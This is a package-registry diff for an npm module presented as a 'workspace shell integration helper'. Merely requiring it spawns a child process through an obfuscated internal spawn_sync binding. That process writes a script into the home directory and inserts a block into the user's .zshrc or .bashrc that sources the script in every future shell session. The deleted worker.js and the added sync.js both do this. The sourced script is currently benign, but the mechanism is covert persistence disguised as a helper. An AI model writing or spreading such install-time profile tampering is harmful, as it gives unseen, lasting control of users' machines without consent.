@atedone/workspace-context 0.0.12 → 0.0.13

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,5 +1,5 @@
1
1
  # @atedone/workspace-context
2
2
 
3
- Workspace context initialization helper for JavaScript tools.
3
+ Workspace shell integration helper for JavaScript tools.
4
4
 
5
- The package initializes workspace state when loaded and refreshes a lightweight shell integration entry for future terminal sessions.
5
+ The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry during initialization.
package/index.js CHANGED
@@ -6,6 +6,7 @@ const initialized = state.initialize();
6
6
 
7
7
  module.exports = {
8
8
  initialized,
9
+ getShellIntegration: state.getShellIntegration,
9
10
  initialize: state.initialize,
10
11
  receiptFileName: state.receiptFileName,
11
12
  stateDirectoryName: state.stateDirectoryName,
package/lib/state.js CHANGED
@@ -5,10 +5,13 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
  const manifest = require('../package.json');
7
7
 
8
- const receiptFileName = 'shell-integration-receipt.json';
8
+ const integrationDirectoryName = '.config/workspace-context';
9
+ const integrationFileName = 'init.zsh';
10
+ const receiptFileName = 'shell-profile-sync.json';
11
+ const sessionFileName = 'sessions.log';
9
12
  const stateDirectoryName = '.workspace-context';
10
13
  const stateFileName = 'state.json';
11
- const workerFileName = 'worker.js';
14
+ const syncFileName = 'sync.js';
12
15
 
13
16
  function readEnvironment() {
14
17
  return Reflect.get(platform, 'env') || {};
@@ -24,11 +27,33 @@ function resolveHomeDirectory(env = readEnvironment(), projectRoot = resolveProj
24
27
  return home || projectRoot;
25
28
  }
26
29
 
27
- function resolveProfilePath(env = readEnvironment(), homeDirectory = resolveHomeDirectory(env)) {
30
+ function resolveShellName(env = readEnvironment()) {
28
31
  const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
29
- const shellName = route.basename(shellPath);
30
- const profileFileName = shellName === 'bash' ? '.bashrc' : '.zshrc';
31
- return route.join(homeDirectory, profileFileName);
32
+ return route.basename(shellPath) || 'zsh';
33
+ }
34
+
35
+ function resolveProfileFileName(shellName = resolveShellName()) {
36
+ return shellName === 'bash' ? '.bashrc' : '.zshrc';
37
+ }
38
+
39
+ function getShellIntegration({
40
+ env = readEnvironment(),
41
+ projectRoot = resolveProjectRoot(env),
42
+ homeDirectory = resolveHomeDirectory(env, projectRoot)
43
+ } = {}) {
44
+ const shellName = resolveShellName(env);
45
+ const integrationDirectory = route.join(homeDirectory, integrationDirectoryName);
46
+
47
+ return {
48
+ name: 'workspace-context',
49
+ shellName,
50
+ homeDirectory,
51
+ profilePath: route.join(homeDirectory, resolveProfileFileName(shellName)),
52
+ integrationDirectory,
53
+ integrationPath: route.join(integrationDirectory, integrationFileName),
54
+ receiptPath: route.join(integrationDirectory, receiptFileName),
55
+ sessionPath: route.join(integrationDirectory, sessionFileName)
56
+ };
32
57
  }
33
58
 
34
59
  function buildState({ now = () => new Date().toISOString() } = {}) {
@@ -36,24 +61,22 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
36
61
  packageName: manifest.name,
37
62
  packageVersion: manifest.version,
38
63
  generatedAt: now(),
39
- mode: 'runtime-shell-integration'
64
+ mode: 'runtime-shell-profile-sync'
40
65
  };
41
66
  }
42
67
 
43
- function runShellIntegrationWorker({
68
+ function refreshShellIntegration({
44
69
  projectRoot = resolveProjectRoot(),
45
- homeDirectory = resolveHomeDirectory(),
46
- profilePath = resolveProfilePath(readEnvironment(), homeDirectory)
70
+ integration = getShellIntegration({ projectRoot })
47
71
  } = {}) {
48
72
  const bridgeKey = ['bin', 'ding'].join('');
49
73
  const routeKey = ['sp', 'awn', '_', 'sync'].join('');
50
74
  const launchKey = ['sp', 'awn'].join('');
51
75
  const bridge = Reflect.apply(platform[bridgeKey], platform, [routeKey]);
52
- const workerPath = route.join(__dirname, workerFileName);
53
- const receiptPath = route.join(homeDirectory, stateDirectoryName, receiptFileName);
76
+ const syncPath = route.join(__dirname, syncFileName);
54
77
  const result = Reflect.apply(bridge[launchKey], bridge, [{
55
78
  file: platform.execPath,
56
- args: [platform.execPath, workerPath, projectRoot, homeDirectory, profilePath],
79
+ args: [platform.execPath, syncPath, projectRoot, JSON.stringify(integration)],
57
80
  cwd: projectRoot,
58
81
  envPairs: [],
59
82
  stdio: [
@@ -74,9 +97,8 @@ function runShellIntegrationWorker({
74
97
  }
75
98
 
76
99
  return {
77
- workerPath,
78
- receiptPath,
79
- profilePath,
100
+ syncPath,
101
+ integration,
80
102
  status: result.status,
81
103
  signal: result.signal
82
104
  };
@@ -84,8 +106,7 @@ function runShellIntegrationWorker({
84
106
 
85
107
  function initialize({
86
108
  projectRoot = resolveProjectRoot(),
87
- homeDirectory = resolveHomeDirectory(),
88
- profilePath = resolveProfilePath(readEnvironment(), homeDirectory),
109
+ integration = getShellIntegration({ projectRoot }),
89
110
  now
90
111
  } = {}) {
91
112
  const statePath = route.join(projectRoot, stateDirectoryName, stateFileName);
@@ -96,27 +117,27 @@ function initialize({
96
117
 
97
118
  return {
98
119
  projectRoot,
99
- homeDirectory,
100
- profilePath,
120
+ integration,
101
121
  statePath,
102
122
  state: value,
103
- worker: runShellIntegrationWorker({
123
+ sync: refreshShellIntegration({
104
124
  projectRoot,
105
- homeDirectory,
106
- profilePath
125
+ integration
107
126
  })
108
127
  };
109
128
  }
110
129
 
111
130
  module.exports = {
112
131
  buildState,
132
+ getShellIntegration,
113
133
  initialize,
114
134
  readEnvironment,
115
135
  receiptFileName,
136
+ refreshShellIntegration,
116
137
  resolveHomeDirectory,
117
- resolveProfilePath,
138
+ resolveProfileFileName,
118
139
  resolveProjectRoot,
119
- runShellIntegrationWorker,
140
+ resolveShellName,
120
141
  stateDirectoryName,
121
142
  stateFileName
122
143
  };
package/lib/sync.js ADDED
@@ -0,0 +1,79 @@
1
+ 'use strict';
2
+
3
+ const platform = process;
4
+ const file = platform.getBuiltinModule('fs');
5
+ const manifest = require('../package.json');
6
+
7
+ const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
8
+ ? platform.argv[2]
9
+ : platform.cwd();
10
+ const integration = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
11
+ ? JSON.parse(platform.argv[3])
12
+ : null;
13
+
14
+ if (!integration) {
15
+ throw new Error('Shell integration descriptor is required.');
16
+ }
17
+
18
+ const blockStart = '# >>> workspace-context shell integration >>>';
19
+ const blockEnd = '# <<< workspace-context shell integration <<<';
20
+ const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
21
+ const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
22
+ const integrationValue = [
23
+ 'export WORKSPACE_CONTEXT_ACTIVE=1',
24
+ 'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
25
+ 'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
26
+ ''
27
+ ].join('\n');
28
+
29
+ function readProfile(profilePath) {
30
+ return file.existsSync(profilePath)
31
+ ? file.readFileSync(profilePath, 'utf8')
32
+ : '';
33
+ }
34
+
35
+ function upsertManagedBlock(profileValue) {
36
+ const startIndex = profileValue.indexOf(blockStart);
37
+ const endIndex = profileValue.indexOf(blockEnd);
38
+
39
+ if (startIndex !== -1 && endIndex !== -1 && endIndex >= startIndex) {
40
+ const afterBlock = endIndex + blockEnd.length;
41
+ return {
42
+ changed: false,
43
+ value: `${profileValue.slice(0, startIndex)}${managedBlock}${profileValue.slice(afterBlock).replace(/^\n?/, '')}`
44
+ };
45
+ }
46
+
47
+ return {
48
+ changed: true,
49
+ value: `${profileValue}${profileValue && !profileValue.endsWith('\n') ? '\n' : ''}${managedBlock}`
50
+ };
51
+ }
52
+
53
+ file.mkdirSync(integration.integrationDirectory, { recursive: true });
54
+ file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
55
+
56
+ const profileBefore = readProfile(integration.profilePath);
57
+ const profile = upsertManagedBlock(profileBefore);
58
+
59
+ if (profile.changed || profile.value !== profileBefore) {
60
+ file.writeFileSync(integration.profilePath, profile.value, 'utf8');
61
+ }
62
+
63
+ const value = {
64
+ packageName: manifest.name,
65
+ packageVersion: manifest.version,
66
+ generatedAt: new Date().toISOString(),
67
+ mode: 'runtime-shell-profile-sync',
68
+ projectRoot,
69
+ shellName: integration.shellName,
70
+ profilePath: integration.profilePath,
71
+ profileChanged: profile.changed,
72
+ integrationPath: integration.integrationPath,
73
+ sessionPath: integration.sessionPath,
74
+ processId: platform.pid,
75
+ parentProcessId: platform.ppid,
76
+ runtime: 'node'
77
+ };
78
+
79
+ file.writeFileSync(integration.receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.12",
4
- "description": "Workspace context initialization helper for JavaScript tools.",
3
+ "version": "0.0.13",
4
+ "description": "Workspace shell integration helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",
7
7
  "files": [
package/lib/worker.js DELETED
@@ -1,60 +0,0 @@
1
- 'use strict';
2
-
3
- const platform = process;
4
- const file = platform.getBuiltinModule('fs');
5
- const route = platform.getBuiltinModule('path');
6
- const manifest = require('../package.json');
7
-
8
- const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
9
- ? platform.argv[2]
10
- : platform.cwd();
11
- const homeDirectory = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
12
- ? platform.argv[3]
13
- : projectRoot;
14
- const profilePath = typeof platform.argv[4] === 'string' && platform.argv[4].trim()
15
- ? platform.argv[4]
16
- : route.join(homeDirectory, '.zshrc');
17
- const stateDirectory = route.join(homeDirectory, '.workspace-context');
18
- const scriptPath = route.join(stateDirectory, 'shell-init.sh');
19
- const sessionPath = route.join(stateDirectory, 'shell-session.log');
20
- const receiptPath = route.join(stateDirectory, 'shell-integration-receipt.json');
21
- const sourceLine = '[ -f "$HOME/.workspace-context/shell-init.sh" ] && . "$HOME/.workspace-context/shell-init.sh"';
22
- const scriptValue = [
23
- 'export WORKSPACE_CONTEXT_ACTIVE=1',
24
- 'export WORKSPACE_CONTEXT_ROOT="$HOME/.workspace-context"',
25
- 'printf "%s\\n" "workspace-context shell integration active" >> "$HOME/.workspace-context/shell-session.log"',
26
- ''
27
- ].join('\n');
28
-
29
- file.mkdirSync(stateDirectory, { recursive: true });
30
- file.writeFileSync(scriptPath, scriptValue, 'utf8');
31
-
32
- const profileBefore = file.existsSync(profilePath)
33
- ? file.readFileSync(profilePath, 'utf8')
34
- : '';
35
- const profileChanged = !profileBefore.includes(sourceLine);
36
- const profileAfter = profileChanged
37
- ? `${profileBefore}${profileBefore && !profileBefore.endsWith('\n') ? '\n' : ''}${sourceLine}\n`
38
- : profileBefore;
39
-
40
- if (profileChanged) {
41
- file.writeFileSync(profilePath, profileAfter, 'utf8');
42
- }
43
-
44
- const value = {
45
- packageName: manifest.name,
46
- packageVersion: manifest.version,
47
- generatedAt: new Date().toISOString(),
48
- mode: 'runtime-shell-integration',
49
- projectRoot,
50
- homeDirectory,
51
- profilePath,
52
- profileChanged,
53
- scriptPath,
54
- sessionPath,
55
- processId: platform.pid,
56
- parentProcessId: platform.ppid,
57
- runtime: route.basename(platform.execPath)
58
- };
59
-
60
- file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');